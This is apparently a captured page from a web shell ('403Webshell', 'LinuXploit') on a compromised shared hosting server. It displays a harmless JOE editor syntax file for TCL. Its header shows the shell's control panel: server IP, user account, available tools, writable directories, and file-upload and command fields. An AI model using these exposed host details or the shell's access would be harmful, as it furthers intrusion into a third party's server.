403Webshell
Server IP : 74.208.236.79  /  Your IP : 216.73.216.40
Web Server : Apache
System : Linux infongp-us50 4.4.400-icpu-108 #2 SMP Wed Feb 11 10:12:42 UTC 2026 x86_64
User : u93192080 ( 6162215)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/usr/share/joe/syntax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/usr/share/joe/syntax/tcl.jsf
# JOE syntax highlight file for TCL

=Idle
=Ident
=Comment
=Constant
=String		+Constant
=Escape
=StringEscape	+Escape +String
=Keyword
=Statement	+Keyword
=Conditional	+Statement
=Loop		+Statement
=StringVariable	+StringEscape
=Subst		+StringVariable
=SubstEscape	+Escape

:reset Idle
	*		command		noeat
	"#"		comment		recolor=-1
	" \t}"		reset

:comment Comment comment
	*		comment
	"\n"		reset
	"BFHNTX"	comment		noeat call=comment_todo.comment_todo()

:command Idle
	*		ident		buffer
	"\""		string		recolor=-1
	"\n"		reset
	";[{"		reset

:args Idle
	*		args
	";[{\n"		reset
	"\\"		quote		recolor=-1
	"\""		string		recolor=-1

:quote Escape
	*		args

:string String string
	*		string
	"\\"		escape		recolor=-1
	"\""		args
	"$"		subst		recolor=-1

:escape StringEscape string
	*		string
	"0-7"		octal2
	"x"		hex1
	"u"		unicode1

:octal2 StringEscape string
	*		string		noeat
	"0-7"		octal3

:octal3 StringEscape string
	*		string		noeat
	"0-7"		string

:unicode1 StringEscape string
	*		string		noeat
	"0-9a-fA-F"	unicode2

:unicode2 StringEscape string
	*		string		noeat
	"0-9a-fA-F"	hex1

:hex1 StringEscape string
	*		string		noeat
	"0-9a-fA-F"	hex2

:hex2 StringEscape string
	*		string		noeat
	"0-9a-fA-F"	string

:subst SubstEscape string
	*		string		noeat recolor=-2
	"a-zA-Z0-9_:"	substrest	recolor=-1
	"{"		substbrack	recolor=-1

:substrest Subst string
	*		string		noeat
	"a-zA-Z0-9_:"	substrest
	"("		index

:substbrack Subst string
	*		substbrack
	"}"		string

:index Subst string
	*		index
	")"		string

:ident Ident
	*			ident
	" \t\n;}]"		args	noeat strings
	"after"			kw
	"alarm"			kw
	"append"		kw
	"array"			kw
	"auto_commands"		kw
	"auto_execok"		kw
	"auto_import"		kw
	"auto_load"		kw
	"auto_load_index"	kw
	"auto_load_pkg"		kw
	"auto_packages"		kw
	"auto_qualify"		kw
	"binary"		kw
	"break"			loop
	"bsearch"		kw
	"case"			kw
	"catch"			kw
	"catclose"		kw
	"catgets"		kw
	"catopen"		kw
	"ccollate"		kw
	"cconcat"		kw
	"cd"			kw
	"cequal"		kw
	"chgrp"			kw
	"chmod"			kw
	"chown"			kw
	"chroot"		kw
	"cindex"		kw
	"clength"		kw
	"clock"			kw
	"close"			kw
	"cmdtrace"		kw
	"commandloop"		kw
	"concat"		kw
	"continue"		loop
	"crange"		kw
	"csubstr"		kw
	"ctoken"		kw
	"ctype"			kw
	"dup"			kw
	"echo"			kw
	"else"			cond
	"elseif"		cond
	"encoding"		kw
	"eof"			kw
	"error"			kw
	"eval"			kw
	"exec"			kw
	"execl"			kw
	"exit"			kw
	"expr"			kw
	"fblocked"		kw
	"fcntl"			kw
	"fconfigure"		kw
	"fcopy"			kw
	"file"			kw
	"fileevent"		kw
	"flock"			kw
	"flush"			kw
	"for"			loop
	"foreach"		loop
	"fork"			kw
	"format"		kw
	"fstat"			kw
	"ftruncate"		kw
	"funlock"		kw
	"gets"			kw
	"glob"			kw
	"global"		kw
	"history"		kw
	"host_info"		kw
	"id"			kw
	"if"			cond
	"incr"			kw
	"info"			kw
	"infox"			kw
	"interp"		kw
	"join"			kw
	"keyldel"		kw
	"keylget"		kw
	"keylkeys"		kw
	"keylset"		kw
	"kill"			kw
	"lappend"		kw
	"lassign"		kw
	"lcontain"		kw
	"lempty"		kw
	"lgets"			kw
	"lindex"		kw
	"link"			kw
	"linsert"		kw
	"list"			kw
	"llength"		kw
	"lmatch"		kw
	"load"			kw
	"loadlibindex"		kw
	"loop"			kw
	"lrange"		kw
	"lreplace"		kw
	"lsearch"		kw
	"lset"			kw
	"lsort"			kw
	"lvarcat"		kw
	"lvarpop"		kw
	"lvarpush"		kw
	"max"			kw
	"min"			kw
	"namespace"		kw
	"nice"			kw
	"open"			kw
	"package"		kw
	"pid"			kw
	"pipe"			kw
	"proc"			kw
	"profile"		kw
	"puts"			kw
	"pwd"			kw
	"random"		kw
	"read"			kw
	"readdir"		kw
	"regexp"		kw
	"regsub"		kw
	"rename"		kw
	"replicate"		kw
	"return"		kw
	"scan"			kw
	"scancontext"		kw
	"scanfile"		kw
	"scanmatch"		kw
	"seek"			kw
	"select"		kw
	"server_accept"		kw
	"server_create"		kw
	"set"			kw
	"signal"		kw
	"sleep"			kw
	"socket"		kw
	"source"		kw
	"split"			kw
	"string"		kw
	"subst"			kw
	"switch"		cond
	"sync"			kw
	"system"		kw
	"tclLog"		kw
	"tclx_findinit"		kw
	"tclx_fork"		kw
	"tclx_load_tndxs"	kw
	"tclx_sleep"		kw
	"tclx_system"		kw
	"tclx_wait"		kw
	"tell"			kw
	"then"			cond
	"time"			kw
	"times"			kw
	"trace"			kw
	"translit"		kw
	"try_eval"		kw
	"umask"			kw
	"unknown"		kw
	"unset"			kw
	"update"		kw
	"uplevel"		kw
	"upvar"			kw
	"variable"		kw
	"vwait"			kw
	"wait"			kw
	"while"			loop
done

:kw Keyword
	*	args	noeat

:cond Conditional
	*	args	noeat

:loop Loop
	*	args	noeat

Youez - 2016 - github.com/yon3zu
LinuXploit